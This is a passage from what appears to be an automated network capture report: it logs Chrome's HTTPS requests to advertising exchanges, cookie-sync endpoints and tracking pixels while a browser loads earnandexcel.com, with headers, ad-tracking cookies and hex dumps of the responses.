am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:03 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.17	50275	3.211.252.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	1265	OUT	GET /usersync/redirect?partner=verizon&partnerId=y-UQyiIh9E2uJvF5IoIp_LflURMfQTltVc~A&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid=-1 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:03 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.17	50269	8.28.7.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	1084	OUT	GET /AdServer/SPug?partnerID=156078&xid=y-A2UXkupE2uXw2ttIdZaIB8OFnkwUuqs-~A&gdpr=0 HTTP/1.1 Host: image4.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; PugT=1712870821; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; SPugT=1712870822
2024-04-11 21:27:03 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:03 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1712870823; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:03 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.17	50273	3.215.216.188	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	850	OUT	GET /ul_cb/server_match?&partner_id=1625&r=https://exchange.mediavine.com/usersync/redirect?partner=improvedigital&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=%7BPUB_USER_ID%7D HTTP/1.1 Host: ice.360yield.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=8641df54-0b93-402c-9337-7ec42bdf44ca; tuuid_lu=1712870823
2024-04-11 21:27:03 UTC	429	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: text/plain Content-Length: 0 Connection: close access-control-allow-origin: * p3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" location: https://exchange.mediavine.com/usersync/redirect?partner=improvedigital&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=8641df54-0b93-402c-9337-7ec42bdf44ca

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.17	50264	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	780	OUT	GET /beacon?informer=&gdpr_consent=&us_privacy=1---&gpp=&gpp_sid= HTTP/1.1 Host: ce.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL
2024-04-11 21:27:03 UTC	777	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: text/html Content-Length: 4884 Connection: close Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:03 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:03 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Vary: Accept-Encoding, User-Agent
2024-04-11 21:27:03 UTC	4884	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 0a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 73 6f 76 72 6e 20 42 65 61 63 6f 6e 20 28 32 34 20 53 65 6e 74 20 2f 20 2d 31 20 4d 61 78 29 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 63 6c 61 73 73 3d 27 73 6f 76 72 6e 2d 62 65 61 63 6f 6e 2d 70 69 78 65 6c 27 20 73 74 79 6c 65 3d 27 77 69 64 74 68 3a 30 70 78 3b 20 68 65 69 67 68 74 3a 30 70 78 3b 27 20 77 69 64 74 68 3d 27 30 27 20 68 65 69 67 68 74 3d 27 30 27 20 73 72 63 3d 27 68 74 74 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""https://www.w3.org/TR/html4/strict.dtd"><html><head><title>sovrn Beacon (24 Sent / -1 Max)</title></head><body><img class='sovrn-beacon-pixel' style='width:0px; height:0px;' width='0' height='0' src='htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.17	50260	67.202.105.21	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	970	OUT	GET /ps/?us_privacy=1---&xi=33&xu=3952083078138885077332 HTTP/1.1 Host: ssc-cms.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
2024-04-11 21:27:03 UTC	682	IN	HTTP/1.1 302 p3p: CP="NOI DSP COR NID PSA PSD OUR IND UNI COM NAV INT DEM STA" set-cookie: 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534; Domain=.33across.com; Expires=Fri, 11-Apr-2025 21:27:03 GMT; Path=/; Secure; SameSite=None referrer-policy: unsafe-url pragma: no-cache cache-control: no-store, no-cache, must-revalidate expires: Thu, 01-Jan-70 00:00:01 GMT x-33x-status: 8000000008200000A server: 33XP015 location: https://events-ssc.33across.com/match?bidder_id=33&external_user_id=3952083078138885077332&ts=1712870823&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy=1--- content-length: 0 date: Thu, 11 Apr 2024 21:27:03 GMT connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.17	50276	3.211.252.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	1244	OUT	GET /usersync/redirect?partner=the_trade_desk&type=pixel&partnerId=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:03 UTC	304	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 62 Connection: close Vary: Origin, Accept, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache Location: https://exchange.mediavine.com/pixel.gif
2024-04-11 21:27:03 UTC	62	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 65 78 63 68 61 6e 67 65 2e 6d 65 64 69 61 76 69 6e 65 2e 63 6f 6d 2f 70 69 78 65 6c 2e 67 69 66 Data Ascii: Found. Redirecting to https://exchange.mediavine.com/pixel.gif

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.17	50270	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	638	OUT	GET /w/1.0/sd?id=537072971&val=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=005486e0-4a10-3ca2-40b5-b365e91123c9&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870822968334
2024-04-11 21:27:03 UTC	568	IN	HTTP/1.1 200 OK Vary: Accept Set-Cookie: univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870823933947; Version=1; Expires=Fri, 26-Apr-2024 21:27:03 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.17	50274	34.96.70.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	625	OUT	GET /encrypted-signals/encrypted-tag-g.js HTTP/1.1 Host: invstatic101.creativecdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: g=ouNOiU9ACIjtQdGvKF3V_1712870820978; ts=1712870820
2024-04-11 21:27:04 UTC	397	IN	HTTP/1.1 200 OK content-type: text/javascript; charset=utf-8 last-modified: Mon, 05 Feb 2024 22:07:56 GMT etag: cd19e0900da0cdbc6697310fd9330fb6 x-cloud-trace-context: 9d94f09d77dc88a5369eb54e23e2314a date: Thu, 11 Apr 2024 21:27:04 GMT server: Google Frontend Content-Length: 1195 via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:04 UTC	858	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 45 53 50 20 2d 20 52 54 42 48 6f 75 73 65 0a 20 2a 20 40 76 65 72 73 69 6f 6e 20 76 31 2e 32 2e 35 0a 20 2a 20 40 6c 69 6e 6b 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 74 62 68 6f 75 73 65 2e 63 6f 6d 2f 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 72 74 62 68 6f 75 73 65 2d 65 73 70 22 29 2c 6e 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 72 74 62 68 6f 75 73 65 2d 73 65 67 6d 65 6e 74 73 22 29 2c 6f 3d 70 62 6a 73 2e 67 65 74 55 73 65 72 49 64 73 28 29 3f 2e 70 75 62 63 69 64 3b 72 65 74 75 72 6e 20 73 69 67 6e 61 6c 5f 64 Data Ascii: /** * ESP - RTBHouse * @version v1.2.5 * @link https://www.rtbhouse.com/ */!function(){async function e(){var e=window.localStorage.getItem("rtbhouse-esp"),n=window.localStorage.getItem("rtbhouse-segments"),o=pbjs.getUserIds()?.pubcid;return signal_d
2024-04-11 21:27:04 UTC	337	IN	Data Raw: 28 29 29 2e 6d 65 73 73 61 67 65 7d 28 73 69 67 6e 61 6c 5f 64 65 63 72 79 70 74 65 64 29 2e 74 68 65 6e 28 65 3d 3e 65 29 7d 6e 65 77 20 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 68 69 73 2c 65 29 7d 73 65 6e 64 5f 73 69 67 6e 61 6c 28 29 7b 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 2e 73 65 63 75 72 65 53 69 67 6e 61 6c 50 72 6f 76 69 64 65 72 73 7c 7c 28 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 2e 73 65 63 75 72 65 53 69 67 6e 61 6c 50 72 6f 76 69 64 65 72 73 3d 5b 5d 29 2c 6e 75 6c 6c 21 3d 67 6f 6f 67 6c 65 74 61 67 2e 73 65 63 75 72 65 53 69 67 6e 61 6c 50 72 6f 76 69 64 65 72 73 26 26 67 6f 6f 67 6c 65 74 61 67 2e 73 65 63 75 72 65 53 69 67 6e 61 6c 50 72 6f 76 69 64 65 Data Ascii: ()).message}(signal_decrypted).then(e=>e)}new class{constructor(e){Object.assign(this,e)}send_signal(){window.googletag.secureSignalProviders\|\|(window.googletag.secureSignalProviders=[]),null!=googletag.secureSignalProviders&&googletag.secureSignalProvide

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.17	50279	3.214.33.241	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	448	OUT	GET /usersync?b=vnt&i=d3c52a71-4626-42f8-b765-7c4caff9dd34 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:04 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:04 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.17	50271	3.214.33.241	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	448	OUT	GET /usersync?b=zem&i=kW4WCHlLKZTPSmfVrwIg&us_privacy=1--- HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:04 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:04 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.17	50277	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	584	OUT	GET /idsync/ex/receive?partner_id=1830&partner_device_id=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=f873d799-987f-45f5-8689-9e999756dca0%2C%2C HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1712870811726; TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0; TapAd_3WAY_SYNCS=1!2469
2024-04-11 21:27:04 UTC	1101	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:04 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1712870811726;Expires=Mon, 10 Jun 2024 21:27:04 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0;Expires=Mon, 10 Jun 2024 21:27:04 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=1!2469;Expires=Mon, 10 Jun 2024 21:27:04 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:04 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.17	50288	35.212.23.78	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	794	OUT	GET /ul_cb/bsw_sync?bidswitch_ssp_id=themediagrid&bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=0&gdpr_consent= HTTP/1.1 Host: ads.creative-serving.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=52f7b6d2-f774-409d-9ad9-9331a3cf6844; c=1712870823; tuuid_lu=1712870823
2024-04-11 21:27:04 UTC	694	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Thu, 11 Apr 2024 21:27:04 GMT Location: https://x.bidswitch.net/sync?dsp_id=4&user_id=52f7b6d2-f774-409d-9ad9-9331a3cf6844&ssp=themediagrid&expires=30&user_group=5&bsw_param=4a756380-b7e0-40d8-87fd-f9b0074cc705 Set-Cookie: tuuid=52f7b6d2-f774-409d-9ad9-9331a3cf6844; path=/; expires=Sun, 06-Apr-2025 21:27:04 GMT; domain=.creative-serving.com; samesite=none; secure Set-Cookie: tuuid_lu=1712870824; path=/; expires=Sun, 06-Apr-2025 21:27:04 GMT; domain=.creative-serving.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.17	50280	34.102.146.192	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
